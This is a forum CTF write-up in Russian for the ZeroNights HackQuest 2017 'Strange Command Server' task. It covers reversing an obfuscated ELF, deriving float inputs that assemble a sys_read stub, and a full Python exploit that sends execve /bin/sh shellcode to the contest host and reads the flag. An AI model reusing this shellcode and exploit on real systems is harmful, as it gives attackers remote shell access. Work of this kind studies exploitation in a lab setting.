Zero Nights HackQuest 2017
Решил и я поддержать эстафету от sysenter'а и поточить перо об райтап.
Ветхий Завет : Бытие : Глава 1, Пс 110, 3 Сир 39, 21 "...И был вечер, и было утро: день шестой."
Ой, не то..
DAY 6 / STRANGE COMMAND SERVER
Description:
Some server receives commands in a very strange format. We have some command for it and its sources.
It is located on nc spbctf.ppctf.net 5353.
Get the flag!
(If task lags, ask @awengar on telegram, please, after solution tell @awengar how much time did you spend)
This task was prepared by RuCTFe.
По итогу нам дано два файла: текстовой hq2017_task6_test.txt с содержимым
5
13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0
и бинарь сервиса hq2017_task6_m116 (а в описании обещали исходник [and its sources]).
Сервис висит на spbctf.ppctf.net:5353. Автор Артур Ханов (aka awengar) один из вдохновителей группы spbctf, хотя подписался за RuCTFe.
[Part #1 Reverse]
Предоставленный бинарь - стандартный пострипаный эльф 64 бита с динамической линковкой.
hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped
В случае с динамической линковкой главное чтобы бинарь не был выхлопом какой нибудь экзотики и не требовал установки кучи зависимостей.
Этот запустился локально без проблем, но представленные входные данные абсолютно бесполезны и приводят к падению приложения с сигфолтом.
Самое время посмотреть, что там под капотом (или что у вас, ребята, в рюкзаках).
Скормим его IDA.
IDA покряхтела и ничего вразумительного не выдала. Здравствуй, Обфускация.
Того кто видел обфускацию Execryptor, Themida, VMProtect, Denuvo это только бы улыбнуло. Даже LOL.
Немного лапши, аля spaghetti-code, немного мусорного кода незатрагивающего состояния используемых регистров и локальных переменных и совсем чуть-чуть самомодификации.
Любителям HexRay это может поломать жизнь, но нас ведь не остановит. Кода не много и заморачиваться с автоматизацией нет смысла.
На первом этапе в статике проведем восстановление реальных адресов перехода для самомодифицирующегося кода.
Например (ДО):
и (ПОСЛЕ):Code:.text:0000000000401189 loc_401189: .text:0000000000401189 mov dword ptr ds:loc_4011AA+1, 0FFFFFA3Bh >>>>>>>>>>> восстановление реального адреса перехода .text:0000000000401194 mov word ptr ds:loc_401189, 13EBh >>>>>>>>>>> ликвидация последующей модификации .text:000000000040119E mov eax, r12d >>>>>>>>>>> мусорная команда .text:00000000004011A1 mov eax, [rbp-18h] .text:00000000004011A4 add eax, 1 .text:00000000004011A7 mov [rbp-18h], eax .text:00000000004011AA loc_4011AA: .text:00000000004011AA jmp near ptr 40197Dh >>>>>>>>>>> пальцем в небо
Приводить пример замусоривания кода не имеет смысла, так как он построен на регистрах и переменных в памяти, которые не участвуют в потоке исполнения и легко различимы на взгляд.Code:.text:0000000000401189 loc_401189: .text:0000000000401189 jmp short loc_40119E >>>>>>>>>>> обход кода выполнявшего модификацию .text:0000000000401189 ; --------------------------------------------------------------------------- .text:000000000040118B db 25h, 0ABh, 11h, 40h, 0, 3Bh, 0FAh, 2 dup(0FFh), 66h, 0C7h, 4, 25h .text:000000000040118B db 89h, 11h, 40h, 0, 0EBh, 13h .text:000000000040119E ; --------------------------------------------------------------------------- .text:000000000040119E loc_40119E: .text:000000000040119E mov eax, r12d >>>>>>>>>>> мусорная команда .text:00000000004011A1 mov eax, [rbp-18h] .text:00000000004011A4 add eax, 1 .text:00000000004011A7 mov [rbp-18h], eax .text:00000000004011AA loc_4011AA: .text:00000000004011AA jmp loc_400BEA >>>>>>>>>>> реальный адрес перехода
После восстановления адресов переходов внутри лапши, можно легко собрать код. Ниже представлен чищенный код, который в своем большинстве подготовлен уже для райтапа и краткое описание функционала.
ЗЫ: Ввиду обфусцированного происхождения кода, адреса в листинге не последовательны и оставлены лишь с целью идентификации того или иного участка кода.
Точка входа программы (main): настраивается буферизация потоков ввода вывода, запрашивается количество значений в данных, выделяется память для их размещения, в цикле получаются от пользователя значения с плавающей точкой, этот массив отдается на обработку и по возврату выводится на экран возвращаемое значение в шестнадцатеричном представлении.
Основная функция обработки (принимает на входе массив данных с плавающей точкой и их количество). В цикле массив данных отдается на последующую обработку, результирующее значение округляется и приводится к целому. Далее целое значение рассматривается как байты формирующие команду. Эта команда (группа команд) исполняется, при этом сохраняется и восстанавливается контекст (rdi, rsi, rdx). Финальное значение регистра rаx (при исполнении команд), выводится на экран в main.Code:.text:0000000000400AD2 push rbp .text:0000000000400ADD mov rbp, rsp .text:00000000004008AE sub rsp, 40h .text:00000000004008BB xor eax, eax .text:00000000004008BD mov ecx, eax .text:00000000004008BF mov edx, 2 .text:00000000004008C4 mov dword ptr [rbp-4], 0 ; ret value .text:000000000040121F mov [rbp-8], edi ; argc .text:0000000000401229 mov [rbp-10h], rsi ; argv .text:0000000000400EDF mov dword ptr [rbp-14h], 0 ; number elements of float data array .text:0000000000400EE9 mov rdi, ds:qword_6021C8 .text:0000000000400EF1 mov rsi, rcx .text:0000000000400EF4 call _setvbuf .text:0000000000401104 xor edx, edx .text:0000000000401106 mov ecx, edx .text:000000000040110F mov edx, 2 .text:0000000000400D1A mov rdi, ds:qword_6021C0 .text:0000000000400D25 mov rsi, rcx .text:0000000000400D2B call _setvbuf .text:00000000004010B0 mov rdi, offset aD ; "%d" .text:00000000004010BA lea rsi, [rbp-14h] .text:00000000004010C3 mov al, 0 .text:00000000004010C5 call ___isoc99_scanf ; get number elements of float data array .text:000000000040112E cmp dword ptr [rbp-14h], 0 ; if zero .text:0000000000401135 jnz short loc_40113C .text:0000000000400861 mov dword ptr [rbp-4], 1 ; ret value = 1 and exit .text:0000000000400868 jmp EXIT_SYSCALL .text:0000000000400A47 loc_40113C: mov eax, [rbp-14h] ; allocate memory for float data array .text:0000000000400A4C mov ecx, eax .text:0000000000401207 shl rcx, 3 ; * 8 - sizeof(double) .text:0000000000401212 mov rdi, rcx .text:0000000000401215 call _malloc .text:0000000000400F82 mov [rbp-20h], rax .text:0000000000400F86 mov dword ptr [rbp-18h], 0 ; index = 0 jmp short loc_400BEA .text:000000000040082C LOOP: mov rdi, offset aLf ; "%lf" .text:0000000000400844 mov eax, [rbp-18h] .text:00000000004011BF mov ecx, eax .text:00000000004011C4 shl rcx, 3 .text:0000000000400B47 add rcx, [rbp-20h] .text:0000000000400B4D mov rsi, rcx .text:0000000000400B52 mov al, 0 .text:0000000000400B54 call ___isoc99_scanf ; get element of float data array .text:00000000004011A1 mov eax, [rbp-18h] .text:00000000004011A4 add eax, 1 .text:00000000004011A7 mov [rbp-18h], eax ; increment index .text:0000000000400BEA loc_400BEA: mov eax, [rbp-18h] .text:0000000000400BED cmp eax, [rbp-14h] .text:0000000000400BF0 jnb short loc_400BF7 ; check loop limit jmp short LOOP .text:0000000000400C01 loc_400BF7: mov rdi, [rbp-20h] ; float array pointer .text:0000000000400C05 mov esi, [rbp-14h] ; number elements .text:0000000000400C08 call sub_40102D .text:0000000000400AB7 mov rdi, offset format ; "%x\n" .text:0000000000400AC4 mov esi, eax .text:0000000000400AC6 mov al, 0 .text:0000000000400AC8 call _printf .text:0000000000400D7E mov dword ptr [rbp-4], 0 ; ret value = 0 .text:0000000000400B61 EXIT_SYSCALL: mov eax, [rbp-4] .text:0000000000400B64 add rsp, 40h .text:0000000000400B68 pop rbp .text:0000000000400B69 mov rax, 3Ch .text:0000000000400B70 mov rdi, 0 .text:0000000000400B77 syscall
функция обработки массива исходных данных. Единственная подпрограмма подлежащая полному восстановлению. Восстановленный алгоритм представлен на python ниже.Code:.text:000000000040102D push rbp .text:0000000000401035 mov rbp, rsp .text:0000000000401038 sub rsp, 70h .text:000000000040103C lea rax, [rbp-18h] ; code buffer .text:0000000000401040 mov [rbp-8], rdi ; float array pointer .text:0000000000401044 mov [rbp-0Ch], esi ; number elements .text:0000000000400FEE mov [rbp-20h], rax ; code buffer pointer (for call) .text:0000000000400FF2 mov [rbp-5Ch], 0 ; index = 0 .text:0000000000400FF9 jmp loc_400F0E .text:0000000000400E73 loc_400E71: mov rdi, [rbp-8] ; float array pointer .text:0000000000400E80 mov esi, [rbp-5Ch] ; index .text:0000000000400E86 mov edx, [rbp-0Ch] ; number elements .text:00000000004010CC call sub_400A5A ; return value in xmm0 .text:0000000000400A93 lea rdi, [rbp-18h] ; code buffer .text:0000000000400AA1 mov [rbp-70h], rdi ; code buffer pointer (for make code) .text:0000000000400AA5 call _round .text:0000000000400F56 cvttsd2si rdi, xmm0 .text:0000000000400F5B mov [rbp-18h], rdi .text:0000000000400F5F mov rdi, [rbp-70h] .text:0000000000400F63 call sub_400C3E ; make command ////////////////////////////////////////////////////////////////////////////////////////////////////// .text:0000000000400DFB mov [rbp-58h], rdi ; save RDI .text:0000000000400DFF mov [rbp-50h], rsi ; save RSI .text:0000000000400E14 mov [rbp-48h], rdx ; save RDX /////////////////////////////////////////////////////////////////////////////////////////////////// .text:0000000000400DD0 mov rdx, [rbp-28h] .text:0000000000400DE5 mov rsi, [rbp-30h] .text:00000000004009A8 mov rdi, [rbp-38h] .text:00000000004009AC mov al, 0 .text:00000000004009AE call qword ptr [rbp-20h] ; execute formed instruction .text:0000000000400E46 mov [rbp-38h], rdi ; save result RDI .text:0000000000400E4A mov [rbp-30h], rsi ; save result RSI .text:0000000000400E56 mov [rbp-28h], rdx ; save result RDX .text:0000000000400E5D mov [rbp-40h], rax ; save result RAX /////////////////////////////////////////////////////////////////////////////////////////////////// .text:0000000000400E61 mov rdx, [rbp-48h] ; restore RDX .text:00000000004009ED mov rsi, [rbp-50h] ; restore RSI .text:00000000004009F1 mov rdi, [rbp-58h] ; restore RDI ////////////////////////////////////////////////////////////////////////////////////////////////////// .text:0000000000400DB1 mov eax, [rbp-5Ch] .text:0000000000400DB4 add eax, 1 .text:0000000000400DB7 mov [rbp-5Ch], eax .text:0000000000400F0E loc_400F0E: mov eax, [rbp-5Ch] .text:0000000000400F11 cmp eax, [rbp-0Ch] .text:0000000000400F14 jnb short loc_400F1B .text:0000000000400F16 jmp loc_400E71 .text:0000000000400A82 loc_400F1B: mov rax, [rbp-40h] .text:0000000000400A8D add rsp, 70h .text:0000000000400A91 pop rbp .text:0000000000400A92 retn
Code:.text:0000000000400A5A push rbp .text:0000000000400A64 mov rbp, rsp .text:00000000004008D7 sub rsp, 40h .text:00000000004008E3 movsd xmm0, ds:dbl_602098 ; 1.0 .text:00000000004008F1 xorps xmm1, xmm1 .text:00000000004008F4 mov [rbp-8], rdi ; float array pointer .text:0000000000401082 mov [rbp-0Ch], esi ; index .text:000000000040108C mov [rbp-10h], edx ; number elements .text:0000000000401097 movsd qword ptr [rbp-18h], xmm1 .text:00000000004010A0 mov rdi, [rbp-8] .text:0000000000400987 movsd xmm1, qword ptr [rdi] .text:000000000040098B movsd qword ptr [rbp-18h], xmm1 .text:0000000000400990 movsd qword ptr [rbp-20h], xmm0 .text:0000000000400995 mov dword ptr [rbp-24h], 0 .text:000000000040099E jmp loc_400BDB .text:0000000000400FA7 loc_400F92: movsd xmm0, ds:dbl_6020B0 ; -1.0 .text:0000000000400FB0 mulsd xmm0, qword ptr [rbp-20h] .text:0000000000400FB5 movsd qword ptr [rbp-20h], xmm0 .text:0000000000400B00 mov eax, [rbp-24h] .text:0000000000400B03 add eax, 1 .text:0000000000400B06 mov [rbp-24h], eax .text:0000000000400BDB loc_400BDB: mov eax, [rbp-24h] .text:0000000000400BDE cmp eax, [rbp-0Ch] .text:0000000000400BE1 jge short loc_400BE8 .text:0000000000400BE3 jmp loc_400F92 .text:0000000000400C78 loc_400BE8: movsd xmm0, qword ptr [rbp-18h] .text:0000000000400C89 movsd xmm1, qword ptr [rbp-20h] ; 1.0/-1.0 .text:0000000000400FCB mov eax, [rbp-10h] .text:0000000000400FD1 sub eax, 1 .text:0000000000401009 movsxd rcx, eax .text:0000000000401016 mov rdx, [rbp-8] .text:000000000040101A mulsd xmm1, qword ptr [rdx+rcx*8] .text:000000000040101F addsd xmm0, xmm1 .text:0000000000401023 movsd qword ptr [rbp-18h], xmm0 .text:00000000004009DE mov dword ptr [rbp-28h], 1 jmp short loc_400D8F .text:0000000000400922 loc_40091D: movsd xmm0, ds:dbl_602098 ; 1.0 .text:0000000000400BAB movsd xmm1, ds:dbl_6020A8 ; pi .text:0000000000400BC2 movsd xmm2, ds:dbl_6020A0 ; 2.0 .text:0000000000400BCF movsd xmm3, qword ptr [rbp-18h] .text:0000000000400E24 movsxd rax, dword ptr [rbp-28h] .text:0000000000400E2B mov rcx, [rbp-8] .text:0000000000400E2F mulsd xmm2, qword ptr [rcx+rax*8] .text:0000000000400E34 cvtsi2sd xmm4, dword ptr [rbp-0Ch] .text:0000000000400E39 mulsd xmm1, xmm4 .text:0000000000400E95 mulsd xmm1, xmm0 .text:0000000000400E99 cvtsi2sd xmm4, dword ptr [rbp-28h] .text:0000000000400E9E mulsd xmm1, xmm4 .text:0000000000400EA2 mulsd xmm1, xmm0 .text:0000000000400EA6 cvtsi2sd xmm4, dword ptr [rbp-10h] .text:0000000000400EAB subsd xmm4, xmm0 .text:0000000000400EAF mulsd xmm0, xmm4 .text:0000000000400EBC divsd xmm1, xmm0 .text:0000000000400EC5 movaps xmm0, xmm1 .text:0000000000400EC8 movsd qword ptr [rbp-30h], xmm2 .text:0000000000400ECD movsd qword ptr [rbp-38h], xmm3 .text:0000000000400ED2 call _cos .text:0000000000400B29 movsd xmm1, qword ptr [rbp-30h] .text:0000000000400B2E mulsd xmm1, xmm0 .text:0000000000400B32 movsd xmm0, qword ptr [rbp-38h] .text:0000000000400B37 addsd xmm0, xmm1 .text:0000000000400B3B movsd qword ptr [rbp-18h], xmm0 .text:000000000040090F mov eax, [rbp-28h] .text:0000000000400912 add eax, 1 .text:0000000000400915 mov [rbp-28h], eax .text:0000000000400D8F loc_400D8F: mov eax, [rbp-28h] .text:0000000000400D92 mov ecx, [rbp-10h] .text:0000000000400D95 sub ecx, 1 .text:0000000000400D98 cmp eax, ecx .text:0000000000400D9A jge short loc_400DA1 .text:0000000000400D9C jmp loc_40091D .text:000000000040095D loc_400DA1: movsd xmm0, ds:qword_6020A0 ; 2.0 .text:000000000040096F movsd xmm1, ds:qword_602098 ; 1.0 .text:000000000040097B movsd xmm2, qword ptr [rbp-18h] .text:000000000040105E cvtsi2sd xmm3, dword ptr [rbp-10h] .text:0000000000401063 subsd xmm3, xmm1 .text:0000000000401067 mulsd xmm0, xmm3 .text:000000000040106B divsd xmm2, xmm0 .text:0000000000401073 movsd qword ptr [rbp-18h], xmm2 .text:0000000000401078 movsd xmm0, qword ptr [rbp-18h] .text:0000000000400C93 add rsp, 40h .text:0000000000400C97 pop rbp .text:0000000000400C98 retnФункция формирования кода подпрограммы. Определяет длину байтовой последовательности в стековом буфере и размещает впритык к байтам команды 2-3 байта C3h (ret). Максимальная длина обрабатываемой байтовой последовательности 6 байт определяется маской 0FF000000000000h.Code:import math def sub_400A5A(buf, parIdx, bufLen): val18 = buf[0] val20 = 1.0 for i in range(parIdx): val20 *= -1.0 val18 += (val20 * buf[bufLen-1]) for i in range(1, bufLen-1): val18 += 2.0 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0)) * buf[i] val18 /= (2.0 * (float(bufLen) - 1.0)) # 6 return val18
Вот пожалуй и весь реверс. Теперь переходим к сладкому...Code:.text:0000000000400C3E push rbp .text:0000000000400C3F sub rbp, r9 .text:0000000000400C42 mov rbp, rsp .text:0000000000400C45 mov [rbp-8], rdi .text:0000000000400C50 mov rdi, [rbp-8] .text:0000000000400C54 mov rdi, [rdi] .text:0000000000401243 and rdi, 0FF00h .text:000000000040124A cmp rdi, 0 .text:000000000040124E jnz short loc_401255 .text:0000000000401250 jmp loc_400C12 loc_401255: .text:000000000040086D mov rax, [rbp-8] .text:0000000000400871 mov rax, [rax] .text:0000000000400874 and rax, 0FF0000h .text:000000000040087A cmp rax, 0 .text:000000000040087E jnz short loc_400882 .text:0000000000400880 jmp short loc_400887 loc_400882: .text:00000000004011E0 mov rax, [rbp-8] .text:00000000004011E7 mov rcx, 0FF000000h .text:00000000004011F1 and rcx, [rax] .text:00000000004011F4 cmp rcx, 0 .text:00000000004011F8 jnz short loc_4011FF .text:00000000004011FA jmp loc_40115B loc_4011FF: .text:0000000000400CA6 mov rax, [rbp-8] .text:0000000000400CAA mov rcx, 0FF00000000h .text:0000000000400CB4 and rcx, [rax] .text:0000000000400CB7 cmp rcx, 0 .text:0000000000400CBB jnz short loc_400CC2 .text:0000000000400CBD jmp loc_400A01 loc_400CC2: .text:0000000000400F27 mov rax, [rbp-8] .text:0000000000400F2B mov rcx, 0FF0000000000h .text:0000000000400F35 and rcx, [rax] .text:0000000000400F38 cmp rcx, 0 .text:0000000000400F3C jnz short loc_400F43 .text:0000000000400F3E jmp loc_400CC7 loc_400F43: .text:00000000004010D9 mov rax, [rbp-8] .text:00000000004010E0 mov rcx, 0FF000000000000h .text:00000000004010EA and rcx, [rax] .text:00000000004010ED cmp rcx, 0 .text:00000000004010F1 jnz short exit .text:00000000004010F3 jmp loc_400D48 loc_400D48: .text:0000000000400D48 mov rax, [rbp-8] .text:0000000000400D53 mov rcx, 0C3C3000000000000h .text:0000000000400D5D or rcx, [rax] .text:0000000000400D60 mov rax, [rbp-8] .text:0000000000400D64 mov [rax], rcx .text:00000000004008A4 jmp exit loc_400CC7: .text:0000000000400CD6 mov rax, [rbp-8] .text:0000000000400CDA mov rcx, 0C3C3C30000000000h .text:0000000000400CE4 or rcx, [rax] .text:0000000000400B89 mov rax, [rbp-8] .text:0000000000400B8D mov [rax], rcx .text:00000000004008A4 jmp exit loc_400A01: .text:0000000000400A0F mov rax, [rbp-8] .text:0000000000400A1D mov rcx, 0C3C3C300000000h .text:0000000000400A27 or rcx, [rax] .text:00000000004009B6 mov rax, [rbp-8] .text:00000000004009BA mov [rax], rcx .text:00000000004008A4 jmp exit loc_40115B: .text:0000000000401166 mov rax, [rbp-8] .text:000000000040116A add rcx, r10 .text:000000000040116D mov rcx, 0C3C3C3000000h .text:0000000000401177 or rcx, [rax] .text:000000000040117A sub rax, r10 .text:000000000040117D mov rax, [rbp-8] .text:0000000000401181 mov [rax], rcx .text:00000000004008A4 jmp exit loc_400887: .text:0000000000400887 mov rax, [rbp-8] .text:000000000040088B mov rcx, 0C3C3C30000h .text:0000000000400895 or rcx, [rax] .text:0000000000400898 xor rax, r10 .text:000000000040089B mov rax, [rbp-8] .text:000000000040089F mov [rax], rcx .text:00000000004008A4 jmp exit loc_400C12: .text:0000000000400C12 xor rcx, rcx .text:0000000000400C15 mov rax, [rbp-8] .text:0000000000400C19 mov rcx, 0C3C3C300h .text:0000000000400C23 or rcx, [rax] .text:0000000000400C2E mov rax, [rbp-8] .text:0000000000400C32 mov [rax], rcx exit: .text:0000000000400BF9 pop rbp .text:0000000000400BFA retn
[Part #2 Pwning]
Конечным итогом пользовательского ввода, обработки и формирования команды является ее исполнение
Набор регистров rax, rdi, rsi, rdx соответствует системному вызову на linux x64Code:.text:0000000000400DD0 mov rdx, [rbp-28h] .text:0000000000400DE5 mov rsi, [rbp-30h] .text:00000000004009A8 mov rdi, [rbp-38h] .text:00000000004009AC mov al, 0 .text:00000000004009AE call qword ptr [rbp-20h]
С учетом того, что регистр AL устанавливается в ноль, нас подталкивают к исполнению системного вызова sys_read. С помощью которого мы сможем прочитать шеллкод.
Следовательно вырисовывается следующий план:
1) Сформировать команды которые установят регистры в значения необходимые для вызова sys_read;
2) Исполнить syscall sys_read и загрузить шеллкод.
3) Передать управление на шеллкод и получить шелл.
4) Что с этим делать разберемся по ходу :)
П.1
RSI должен содержать указатель на буфер чтения, в котором нам прийдется и исполнять наш шеллкод. Поэтому нам нужна область памяти с правами WX.
Кандидатов два:
первый - кодовый сегмент, в котором помимо, разумеется, возможности исполнения есть и нетипичная возможность записи, учитывая саомодифицирующийся код для обфускации.
второй - стек с гарантированными правами на чтение и запись, но и с возможностью исполнения, учитывая возможноть исполнения сформированных команд.
Остановимся на стеке. У нас есть два указателя на одну и ту же область стека, один для формирования команд [rbp-70h], другой для их исполнения [rbp-20h].
Таким образом, лля инициализации RSI вполне подойдет следующая команда.
mov rsi, [rbp-70h]
Для нашего чтения не обязательно устанавливать точное значение длины шелкода, тем более, что с ним мы еще не определились. Достаточно чтобы это значение было не меньше.
Остановимся на следующей команде и ввиду того, что младший байт AX на входе обнуляется, то надеемся получить какое либо значение в диапазоне 0100h..ff00h.
movzx rdx, ax
Читать шеллкод нам нужно со stdin, который наверняка висит на сокете с помощью socat. Его файловый дескриптор 0 и поэтому нам необходимо обнулить RDI.
xor rdi, rdi
Все регистры вроде как установлены и нам понадобится сам
syscall
Attention: Невнимательность стоит дорого и наказывается потерей времени и дополнительными телодвижениями.
Так вот, малята, казочка. Установки в ноль лишь младшего байта недостаточно для определения номера syscall'а (чего впрочем было достаточно в Int 21h DOS).
.text:00000000004009AC mov al, 0
Необходимо обнулять весь регистр RAX, причем это необходимо делать сразу перед syscall'ом, т.к. значение RAX не восстанавливается из переменной до исполнения команды.
Поэтому последний блок должен быть
xor rax,rax
syscall
Команд/блоков команд у нас получилось всего 4. Теперь самый сложный вопрос как превратить пользовательский ввод в виде чисел с плавающей точкой с постобработкой в цикле с косинусами в наши команды.
Для получения бинарного представления наших команд воспользуемся онлайн ассемблером.
Длина ни одной команды включая последний блок из двух команд не превышает 6, лимита длины формируемой команды (о чем мы уже упоминали выше).Code:48 31 ff xor rdi, rdi 48 8b 75 90 mov rsi, [rbp-0x70] 48 0f b7 d0 movzx rdx, ax 48 31 c0 xor rax,rax 0f 05 syscall
Именно по этой причине отказались от точного формирования длины шелкода, что потребовало бы команду длиной 7 байт.
Например:
Таким образом для формирования команд нам на выходе математического преобразования необходимо последовательно получить следующие значения.Code:48 c7 c2 19 00 00 00 mov rdx,19h
ЗЫ: Порядок исполнения первых трех команд не важен, т.к. результаты исполнения сохраняются в переменных и восстанавливаются при исполнении последующих команд.
Опуская из рассмотрения преобразование из значения с плавающей точкой в целое и округление результата, в последней фазе формирования значения у нас происходит делениеCode:48 31 ff xor rdi, rdi 0xff3148 48 8b 75 90 mov rsi, [rbp-0x70] 0x90758b48 48 0f b7 d0 movzx rdx, ax 0xd0b70f48 48 31 c0 xor rax,rax 0f 05 syscall 0x050fc03148
Опираясь на то, что мы собираемся ввести лишь четыре числа, величину делителя можно рассчитать (2 * (4 - 1) = 6).Code:val18 /= (2.0 * (float(bufLen) - 1.0))
Поднимаемся по коду снизу вверх и значит в результате циклических преобразований нам необходимо получить значения
Теперь обратим внимание на строку кодаCode:0xff3148 * 6 = 100345776.0 0x90758b48 * 6 = 14541734832.0 0xd0b70f48 * 6 = 21009947568.0 0x050fc03148 * 6 = 130434541488.0
На первый взгляд самый сложный для обсчета кусок с косинусом, но при детальном рассмотрении видно, чтоCode:val18 += 2.0 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0)) * buf[i]
не зависит от вводимых данных и может быть расчитана отдельноCode:2 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0))
В результате видим, что не так страшен чертCode:import math for j in range(4): for i in range(1, 4-1): print '%f'%(2.0 * math.cos((float(i) * (3.141592653589793 * j)) / (float(4) - 1.0))) print
При вводе четырех данных наш цикл представляет собой сумму всего лишь двух значений и может быть представлен как.Code:2.000000 2.000000 1.000000 -1.000000 -1.000000 -1.000000 -2.000000 2.000000
Участок кодаCode:....+2.0*(второе число) +2.0*(третье число) = 21009947568.0 ....+1.0*(второе число) -1.0*(третье число) = 14541734832.0 ....-1.0*(второе число) -1.0*(третье число) = 100345776.0 ....-2.0*(второе число) +2.0*(третье число) = 130434541488.0
добавляет в наши уравнения еще по одному слагаемому (с чередующимся знаком перед ним)Code:val20 = 1.0 for i in range(parIdx): val20 *= -1.0 val18 += (val20 * buf[bufLen-1])
И наконец начинаем с первого значения и получаем следующую систему уравненийCode:....+(четвертое число) +2.0*(второе число) +2.0*(третье число) = 21009947568.0 ....-(четвертое число) +1.0*(второе число) -1.0*(третье число) = 14541734832.0 ....+(четвертое число) -1.0*(второе число) -1.0*(третье число) = 100345776.0 ....-(четвертое число) -2.0*(второе число) +2.0*(третье число) = 130434541488.0
val18 = buf[0]
Для ее решения воспользуемся очередным онлайн сервисом.Code:X0+X3+2.0*X1+2.0*X2 = 21009947568.0 X0-X3+1.0*X1-1.0*X2 = 14541734832.0 X0+X3-1.0*X1-1.0*X2 = 100345776.0 X0-X3-2.0*X1+2.0*X2 = 130434541488.0
Вводим наши уравнения
жмем волшебную кнопку и вуаля
Остается проверить все ли у нас получилось
Полученные результаты обнадеживают, если не подкрадется округление :)Code:import math def sub_400A5A(buf, parIdx, bufLen): val18 = buf[0] val20 = 1.0 for i in range(parIdx): val20 *= -1.0 val18 += (val20 * buf[bufLen-1]) for i in range(1, bufLen-1): val18 += 2.0 * math.cos((float(i) * (3.141592653589793 * parIdx)) / (float(bufLen) - 1.0)) * buf[i] val18 /= (2.0 * (float(bufLen) - 1.0)) # 6 print 'val18\t%f'%val18 return val18 buf = [30121441712.0, -15830534144.0, 22800401408.0, -23051228672.0] for i in range(len(buf)): print '%x'%int(round(sub_400A5A(buf, i, len(buf)), 0))
П.2Code:val18 3501657928.000000 d0b70f48 val18 2423622472.000002 90758b48 val18 16724295.999996 ff3148 val18 21739090248.000000 50fc03148
Самое время перейти ко второму пункту нашего коварного плана и подумать о шеллкоде. Нам подойдет любой из класса Linux/x86-64 - execve /bin/sh.
Я остановился на неоднократно провереном шеллкоде. Считаем что syscall наш отработает и загрузит наш шеллкод в память процесса.
Грузим мы его по адресу текущего исполнения, наш последний блок команд xor rax,rax; syscall (48 31 c0 0f 05) и если добавить эти (или другие) байты в начало шелкода, то исполнение сразу после возврата из syscall'а попадет на шеллкод.
П.3
И проблема запланированная третьим пунктом исчезла.
Вся подготовительная работа проведена, пора эксплуатировать.
Коннектимся, отправляем наши данные, засылаем шеллкод и надеемся что получим шелл.Code:#!/usr/bin/python import socket import telnetlib def interact(): t = telnetlib.Telnet() t.sock = s t.interact() shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('spbctf.ppctf.net', 5353)) print '[+] Send DATA' s.send('4\n') s.send('30121441712.0\n') s.send('-15830534144.0\n') s.send('22800401408.0\n') s.send('-23051228672.0\n') print '[+] Send SHELLCODE' s.send('\x48\x31\xc0\x0f\x05' + shellcode_x64 + '\n') print '[+] Go to Shell Interactive' interact()
П.4
Кто молодец? Я молодец!
Начнем конечно же с флагаCode:C:\!CTF\2017\zeronights\day6>exp.py [+] Send DATA [+] Send SHELLCODE [+] Go to Shell Interactive ls flag.txt m116 run.sh run_image.sh runserver.sh
Как видно из текста флага, автор основной упор делал на обфускацию, которую мы не заметили.Code:cat flag.txt H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
Грех не посмотреть как все было устроено.
Как видно все находится в контейнере докера и как предполагалось висит на сокате.Code:cat run_image.sh #!/bin/sh sudo docker run --net=host -v /home/ctf/zn2017q:/home/user --name=zn -ti debian /bin/bash cat runserver.sh #!/bin/bash socat -d TCP4-LISTEN:5353,reuseaddr,fork,keepalive exec:./run.sh cat run.sh #!/bin/bash timeout 120 ./m116
"Ось і все малята любі хлопчики, й дівчата. А зараз, малята, лягайте у ліжечка, і хай ..." и дальше по классике деда Панаса.






Reply With Quote
Thanks